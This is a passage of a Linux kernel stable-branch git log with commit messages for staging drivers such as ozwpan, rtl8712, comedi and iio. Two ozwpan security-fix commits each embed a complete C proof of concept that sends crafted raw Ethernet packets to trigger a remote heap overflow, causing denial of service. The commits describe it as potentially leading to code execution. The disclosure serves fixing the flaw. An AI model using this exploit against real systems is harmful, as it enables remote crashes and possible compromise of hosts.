 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp)
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(2),
			.total_size = htole16(1),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-06-11 11:24:58 +01:00
Jason A. Donenfeld
239e380248 ozwpan: Use proper check to prevent heap overflow
commit d114b9fe78 upstream.

Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.

This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp) - 2
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(0),
			.total_size = htole16(0),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-06-11 11:24:58 +01:00
Arnd Bergmann
b2fc9e15c7 staging: rtl8712, rtl8712: avoid lots of build warnings
commit 0c9f3a65c5 upstream.

The rtl8712 driver has an 'extern inline' function that contains an
'if', which causes lots of warnings with CONFIG_PROFILE_ALL_BRANCHES
overriding the definition of 'if':

drivers/staging/rtl8712/ieee80211.h:759:229: warning: '______f' is static but declared in inline function 'ieee80211_get_hdrlen' which is not static [enabled by default]

This changes the driver to use 'static inline' instead, which happens
to be the correct annotation anyway.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Cc: Larry Finger <Larry.Finger@lwfinger.net>
Cc: Florian Schilhabel <florian.c.schilhabel@googlemail.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Cc: Philip Müller <philm@manjaro.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-05-28 11:21:06 +01:00
gregkh@linuxfoundation.org
c6bcd3c6c0 staging: wlags49_h2: fix extern inline functions
Patch not upstream as this driver is deleted there.

Fix up some "extern inline" functions as they break the build when using
a "modern" complier (i.e. gcc5).

Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Cc: Philip Müller <philm@manjaro.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-05-28 11:20:25 +01:00
Behan Webster
d9a722851e staging, rtl8192e, LLVMLinux: Remove unused inline prototype
commit 62ec95f86d upstream.

rtllib_probe_req is defined as "static inline" in rtllib_softmac.c however it
is declared differently as "extern inline" in rtllib_softmac.h. Since it isn't
used outside of the scope of rtllib_softmac, it makes sense to remove the
incorrect declaration.

Signed-off-by: Behan Webster <behanw@converseincode.com>
Suggested-by: Arnd Bergmann <arnd@arndb.de>
Cc: Arnd Bergmann <arnd@arndb.de>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Cc: Philip Müller <philm@manjaro.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-05-28 11:15:04 +01:00
Behan Webster
17a9ad2b5e staging, rtl8192e, LLVMLinux: Change extern inline to static inline
commit 6d91857d48 upstream.

With compilers which follow the C99 standard (like modern versions of gcc and
clang), "extern inline" does the opposite thing from older versions of gcc
(emits code for an externally linkable version of the inline function).

"static inline" does the intended behavior in all cases instead.

Signed-off-by: Behan Webster <behanw@converseincode.com>
Suggested-by: Arnd Bergmann <arnd@arndb.de>
Cc: Arnd Bergmann <arnd@arndb.de>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Cc: Philip Müller <philm@manjaro.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-05-28 11:13:18 +01:00
Sławomir Demeszko
63365342ea staging: gdm724x: Correction of variable usage after applying ALIGN()
commit 892c89d5d7 upstream.

Fix regression introduced by commit <29ef8a5354>. After it writing
AT commands to /dev/GCT-ATM0 is unsuccessful (no echo, no response)
and dmesg show "gdmtty: invalid payload : 1 16 f011".

Before that commit value of dummy_cnt was only a padding size. After using
ALIGN() this value is increased by its first argument. So the following
usage of this variable needs correction.

Signed-off-by: Sławomir Demeszko <s.demeszko@wireless-instruments.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-05-28 10:00:01 +01:00
Sudip Mukherjee
0ce1fbc1bf staging: panel: fix lcd type
commit 2c20d92dad upstream.

the lcd type as defined in the Kconfig is not matching in the code.
as a result the rs, rw and en pins were getting interchanged.
Kconfig defines the value of PANEL_LCD to be 1 if we select custom
configuration but in the code LCD_TYPE_CUSTOM is defined as 5.

my hardware is LCD_TYPE_CUSTOM, but the pins were assigned to it
as pins of LCD_TYPE_OLD, and it was not working.
Now values are corrected with referenece to the values defined in
Kconfig and it is working.
checked on JHD204A lcd with LCD_TYPE_CUSTOM configuration.

Signed-off-by: Sudip Mukherjee <sudip@vectorindia.org>
Acked-by: Willy Tarreau <w@1wt.eu>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
[ luis: backported to 3.16: adjusted context ]
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-05-05 11:09:34 +01:00
Malcolm Priestley
33b4f7fae5 staging: vt6656: vnt_rf_setpower: fix missing rate RATE_12M
commit 163fe301b9 upstream.

When the driver sets this rate a power of zero value is set causing
data flow stoppage until another rate is tried.

Signed-off-by: Malcolm Priestley <tvboxspy@gmail.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-03-30 11:11:47 +01:00
Malcolm Priestley
3112454b09 vt6655: RFbSetPower fix missing rate RATE_12M
commit 40c8790bcb upstream.

When the driver sets this rate a power of zero value is set causing
data flow stoppage until another rate is tried.

Signed-off-by: Malcolm Priestley <tvboxspy@gmail.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-03-30 11:11:17 +01:00
Ian Abbott
d1e19c935a staging: comedi: adv_pci1710: fix AI INSN_READ for non-zero channel
commit abe46b8932 upstream.

Reading of analog input channels by the `INSN_READ` comedi instruction
is broken for all except channel 0.  `pci171x_ai_insn_read()` calls
`pci171x_ai_read_sample()` with the wrong value for the third parameter.
It is supposed to be the current index in a channel list (which is
always of length 1 in this case, so the index should be 0), but instead
it is passing the actual channel number.  `pci171x_ai_read_sample()`
checks the channel number encoded in the raw sample value read from the
hardware matches the channel number stored in the specified index of the
previously set up channel list and returns `-ENODATA` if it doesn't
match.  Since the index should always be 0 in this case, the match will
fail unless the channel number is also 0.  Fix it by passing 0 as the
channel index.

Note that when the bug first appeared, it was `pci171x_ai_dropout()`
that was called with the wrong parameter value.  `pci171x_ai_dropout()`
got replaced with `pci171x_ai_read_sample()` in commit 7fd2dae250
("staging: comedi: adv_pci1710: introduce pci171x_ai_read_sample()").

Fixes: 16c7eb6047 ("staging: comedi: adv_pci1710: always enable PCI171x_PARANOIDCHECK code")
Signed-off-by: Ian Abbott <abbotti@mev.co.uk>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
[ luis: backported to 3.16: used Ian's backport ]
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-03-18 15:05:37 +00:00
Stefan Wahren
38d82d26d7 iio: mxs-lradc: fix iio channel map regression
commit 03305e535c upstream.

Since commit c8231a9af8 ("iio: mxs-lradc: compute temperature
from channel 8 and 9") with the removal of adc channel 9 there is
no 1-1 mapping in the channel spec.

All hwmon channel values above 9 are accessible via there index minus
one. So add a hidden iio channel 9 to fix this issue.

Signed-off-by: Stefan Wahren <stefan.wahren@i2se.com>
Acked-by: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Reviewed-by: Marek Vasut <marex@denx.de>
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-03-18 14:41:45 +00:00
Kristina Martšenko
fc39fdcab5 iio: mxs-lradc: only update the buffer when its conversions have finished
commit 89bb35e200 upstream.

Using the touchscreen while running buffered capture results in the
buffer reporting lots of wrong values, often just zeros. This is because
we push readings to the buffer every time a touchscreen interrupt
arrives, including when the buffer's own conversions have not yet
finished. So let's only push to the buffer when its conversions are
ready.

Signed-off-by: Kristina Martšenko <kristina.martsenko@gmail.com>
Reviewed-by: Marek Vasut <marex@denx.de>
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
[ luis: backported to 3.16: adjusted context ]
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-03-18 14:41:42 +00:00
Kristina Martšenko
80f61dc524 iio: mxs-lradc: make ADC reads not unschedule touchscreen conversions
commit 6abe0300a1 upstream.

Reading a channel through sysfs, or starting a buffered capture, can
occasionally turn off the touchscreen.

This is because the read_raw() and buffer preenable()/postdisable()
callbacks unschedule current conversions on all channels. If a delay
channel happens to schedule a touchscreen conversion at the same time,
the conversion gets cancelled and the touchscreen sequence stops.

This is probably related to this note from the reference manual:

	"If a delay group schedules channels to be sampled and a manual
	write to the schedule field in CTRL0 occurs while the block is
	discarding samples, the LRADC will switch to the new schedule
	and will not sample the channels that were previously scheduled.
	The time window for this to happen is very small and lasts only
	while the LRADC is discarding samples."

So make the callbacks only unschedule conversions for the channels they
use. This means channel 0 for read_raw() and channels 0-5 for the buffer
(if the touchscreen is enabled). Since the touchscreen uses different
channels (6 and 7), it no longer gets turned off.

This is tested and fixes the issue on i.MX28, but hasn't been tested on
i.MX23.

Signed-off-by: Kristina Martšenko <kristina.martsenko@gmail.com>
Reviewed-by: Marek Vasut <marex@denx.de>
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-03-18 14:41:40 +00:00
Kristina Martšenko
6a820979b5 iio: mxs-lradc: make ADC reads not disable touchscreen interrupts
commit 86bf7f3ef7 upstream.

Reading a channel through sysfs, or starting a buffered capture, will
currently turn off the touchscreen. This is because the read_raw() and
buffer preenable()/postdisable() callbacks disable interrupts for all
LRADC channels, including those the touchscreen uses.

So make the callbacks only disable interrupts for the channels they use.
This means channel 0 for read_raw() and channels 0-5 for the buffer (if
the touchscreen is enabled). Since the touchscreen uses different
channels (6 and 7), it no longer gets turned off.

Note that only i.MX28 is affected by this issue, i.MX23 should be fine.

Signed-off-by: Kristina Martšenko <kristina.martsenko@gmail.com>
Reviewed-by: Marek Vasut <marex@denx.de>
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-03-18 14:41:37 +00:00
Kristina Martšenko
adda22d7a6 iio: mxs-lradc: separate touchscreen and buffer virtual channels
commit f81197b8a3 upstream.

The touchscreen was initially designed [1] to map all of its physical
channels to one virtual channel, leaving buffered capture to use the
remaining 7 virtual channels. When the touchscreen was reimplemented
[2], it was made to use four virtual channels, which overlap and
conflict with the channels the buffer uses.

As a result, when the buffer is enabled, the touchscreen's virtual
channels are remapped to whichever physical channels the buffer was
configured with, causing the touchscreen to read those instead of the
touch measurement channels. Effectively the touchscreen stops working.

So here we separate the channels again, giving the touchscreen 2 virtual
channels and the buffer 6. We can't give the touchscreen just 1 channel
as before, as the current pressure calculation requires 2 channels to be
read at the same time.

This makes the touchscreen continue to work during buffered capture. It
has been tested on i.MX28, but not on i.MX23.

[1] 06ddd353f5 ("iio: mxs: Implement support for touchscreen")
[2] dee05308f6 ("Staging/iio/adc/touchscreen/MXS: add interrupt driven
touch detection")

Signed-off-by: Kristina Martšenko <kristina.martsenko@gmail.com>
Reviewed-by: Marek Vasut <marex@denx.de>
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-03-18 14:41:33 +00:00
Ian Abbott
eb5063825c staging: comedi: cb_pcidas64: fix incorrect AI range code handling
commit be8e89087e upstream.

The hardware range code values and list of valid ranges for the AI
subdevice is incorrect for several supported boards.  The hardware range
code values for all boards except PCI-DAS4020/12 is determined by
calling `ai_range_bits_6xxx()` based on the maximum voltage of the range
and whether it is bipolar or unipolar, however it only returns the
correct hardware range code for the PCI-DAS60xx boards.  For
PCI-DAS6402/16 (and /12) it returns the wrong code for the unipolar
ranges.  For PCI-DAS64/Mx/16 it returns the wrong code for all the
ranges and the comedi range table is incorrect.

Change `ai_range_bits_6xxx()` to use a look-up table pointed to by new
member `ai_range_codes` of `struct pcidas64_board` to map the comedi
range table indices to the hardware range codes.  Use a new comedi range
table for the PCI-DAS64/Mx/16 boards (and the commented out variants).

Signed-off-by: Ian Abbott <abbotti@mev.co.uk>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-03-03 14:15:50 +00:00
Ian Abbott
22d1120b72 staging: comedi: comedi_compat32.c: fix COMEDI_CMD copy back
commit 42b8ce6f55 upstream.

`do_cmd_ioctl()` in "comedi_fops.c" handles the `COMEDI_CMD` ioctl.
This returns `-EAGAIN` if it has copied a modified `struct comedi_cmd`
back to user-space.  (This occurs when the low-level Comedi driver's
`do_cmdtest()` handler returns non-zero to indicate a problem with the
contents of the `struct comedi_cmd`, or when the `struct comedi_cmd` has
the `CMDF_BOGUS` flag set.)

`compat_cmd()` in "comedi_compat32.c" handles the 32-bit compatible
version of the `COMEDI_CMD` ioctl.  Currently, it never copies a 32-bit
compatible version of `struct comedi_cmd` back to user-space, which is
at odds with the way the regular `COMEDI_CMD` ioctl is handled.  To fix
it, change `compat_cmd()` to copy a 32-bit compatible version of the
`struct comedi_cmd` back to user-space when the main ioctl handler
returns `-EAGAIN`.

Signed-off-by: Ian Abbott <abbotti@mev.co.uk>
Reviewed-by: H Hartley Sweeten <hsweeten@visionengravers.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-02-24 10:01:11 +00:00
Linus Torvalds
903575f1b0 vm: add VM_FAULT_SIGSEGV handling support
commit 33692f2759 upstream.

The core VM already knows about VM_FAULT_SIGBUS, but cannot return a
"you should SIGSEGV" error, because the SIGSEGV case was generally
handled by the caller - usually the architecture fault handler.

That results in lots of duplication - all the architecture fault
handlers end up doing very similar "look up vma, check permissions, do
retries etc" - but it generally works.  However, there are cases where
the VM actually wants to SIGSEGV, and applications _expect_ SIGSEGV.

In particular, when accessing the stack guard page, libsigsegv expects a
SIGSEGV.  And it usually got one, because the stack growth is handled by
that duplicated architecture fault handler.

However, when the generic VM layer started propagating the error return
from the stack expansion in commit fee7e49d45 ("mm: propagate error
from stack expansion even for guard page"), that now exposed the
existing VM_FAULT_SIGBUS result to user space.  And user space really
expected SIGSEGV, not SIGBUS.

To fix that case, we need to add a VM_FAULT_SIGSEGV, and teach all those
duplicate architecture fault handlers about it.  They all already have
the code to handle SIGSEGV, so it's about just tying that new return
value to the existing code, but it's all a bit annoying.

This is the mindless minimal patch to do this.  A more extensive patch
would be to try to gather up the mostly shared fault handling logic into
one generic helper routine, and long-term we really should do that
cleanup.

Just from this patch, you can generally see that most architectures just
copied (directly or indirectly) the old x86 way of doing things, but in
the meantime that original x86 model has been improved to hold the VM
semaphore for shorter times etc and to handle VM_FAULT_RETRY and other
"newer" things, so it would be a good idea to bring all those
improvements to the generic case and teach other architectures about
them too.

Reported-and-tested-by: Takashi Iwai <tiwai@suse.de>
Tested-by: Jan Engelhardt <jengelh@inai.de>
Acked-by: Heiko Carstens <heiko.carstens@de.ibm.com> # "s390 still compiles and boots"
Cc: linux-arch@vger.kernel.org
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
[ luis: backported to 3.16:
  - file renamed: arch/powerpc/mm/copro_fault.c ->
    arch/powerpc/platforms/cell/spu_fault.c
  - dropped changes to arch/nios2/mm/fault.c ]
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-02-04 10:58:27 +00:00
Al Viro
f185f12c4a move d_rcu from overlapping d_child to overlapping d_alias
commit 946e51f2bf upstream.

Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
[bwh: Backported to 3.16:
 - Apply name changes in all the different places we use d_alias and d_child
 - Adjust context]
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
Cc: Moritz Muehlenhoff <jmm@inutil.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-01-15 10:44:58 +00:00
Larry Finger
bb49d3cab8 staging: r8188eu: Add new device ID for DLink GO-USB-N150
commit 6d4556fc03 upstream.

The DLink GO-USB-N150 with revision B1 uses this driver.

Signed-off-by: Larry Finger <Larry.Finger@lwfinger.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2014-12-10 17:15:42 +00:00
Lars-Peter Clausen
d8eb1f1fad staging:iio:ade7758: Remove "raw" from channel name
commit b598aacc29 upstream.

"raw" is a property of a channel, but should not be part of the name of
channel.

Signed-off-by: Lars-Peter Clausen <lars@metafoo.de>
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2014-11-14 15:19:59 +00:00
Lars-Peter Clausen
d92fb58e31 staging:iio:ade7758: Fix check if channels are enabled in prenable
commit 79fa64eb2e upstream.

We should check if a channel is enabled, not if no channels are enabled.

Fixes: 550268ca11 ("staging:iio: scrap scan_count and ensure all drivers use active_scan_mask")
Signed-off-by: Lars-Peter Clausen <lars@metafoo.de>
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2014-11-14 15:19:59 +00:00
Lars-Peter Clausen
70dbb7a931 staging:iio:ade7758: Fix NULL pointer deref when enabling buffer
commit e10554738c upstream.

In older versions of the IIO framework it was possible to pass a completely
different set of channels to iio_buffer_register() as the one that is
assigned to the IIO device. Commit 959d2952d1 ("staging:iio: make
iio_sw_buffer_preenable much more general.") introduced a restriction that
requires that the set of channels that is passed to iio_buffer_register() is
a subset of the channels assigned to the IIO device as the IIO core will use
the list of channels that is assigned to the device to lookup a channel by
scan index in iio_compute_scan_bytes(). If it can not find the channel the
function will crash. This patch fixes the issue by making sure that the same
set of channels is assigned to the IIO device and passed to
iio_buffer_register().

Note that we need to remove the IIO_CHAN_INFO_RAW and IIO_CHAN_INFO_SCALE
info attributes from the channels since we don't actually want those to be
registered.

Fixes the following crash:
	Unable to handle kernel NULL pointer dereference at virtual address 00000016
	pgd = d2094000
	[00000016] *pgd=16e39831, *pte=00000000, *ppte=00000000
	Internal error: Oops: 17 [#1] PREEMPT SMP ARM
	Modules linked in:
	CPU: 1 PID: 1695 Comm: bash Not tainted 3.17.0-06329-g29461ee #9686
	task: d7768040 ti: d5bd4000 task.ti: d5bd4000
	PC is at iio_compute_scan_bytes+0x38/0xc0
	LR is at iio_compute_scan_bytes+0x34/0xc0
	pc : [<c0316de8>]    lr : [<c0316de4>]    psr: 60070013
	sp : d5bd5ec0  ip : 00000000  fp : 00000000
	r10: d769f934  r9 : 00000000  r8 : 00000001
	r7 : 00000000  r6 : c8fc6240  r5 : d769f800  r4 : 00000000
	r3 : d769f800  r2 : 00000000  r1 : ffffffff  r0 : 00000000
	Flags: nZCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment user
	Control: 18c5387d  Table: 1209404a  DAC: 00000015
	Process bash (pid: 1695, stack limit = 0xd5bd4240)
	Stack: (0xd5bd5ec0 to 0xd5bd6000)
	5ec0: d769f800 d7435640 c8fc6240 d769f984 00000000 c03175a4 d7435690 d7435640
	5ee0: d769f990 00000002 00000000 d769f800 d5bd4000 00000000 000b43a8 c03177f4
	5f00: d769f810 0162b8c8 00000002 c8fc7e00 d77f1d08 d77f1da8 c8fc7e00 c01faf1c
	5f20: 00000002 c010694c c010690c d5bd5f88 00000002 c8fc6840 c8fc684c c0105e08
	5f40: 00000000 00000000 d20d1580 00000002 000af408 d5bd5f88 c000de84 c00b76d4
	5f60: d20d1580 000af408 00000002 d20d1580 d20d1580 00000002 000af408 c000de84
	5f80: 00000000 c00b7a44 00000000 00000000 00000002 b6ebea78 00000002 000af408
	5fa0: 00000004 c000dd00 b6ebea78 00000002 00000001 000af408 00000002 00000000
	5fc0: b6ebea78 00000002 000af408 00000004 bee96a4c 000a6094 00000000 000b43a8
	5fe0: 00000000 bee969cc b6e2eb77 b6e6525c 40070010 00000001 00000000 00000000
	[<c0316de8>] (iio_compute_scan_bytes) from [<c03175a4>] (__iio_update_buffers+0x248/0x438)
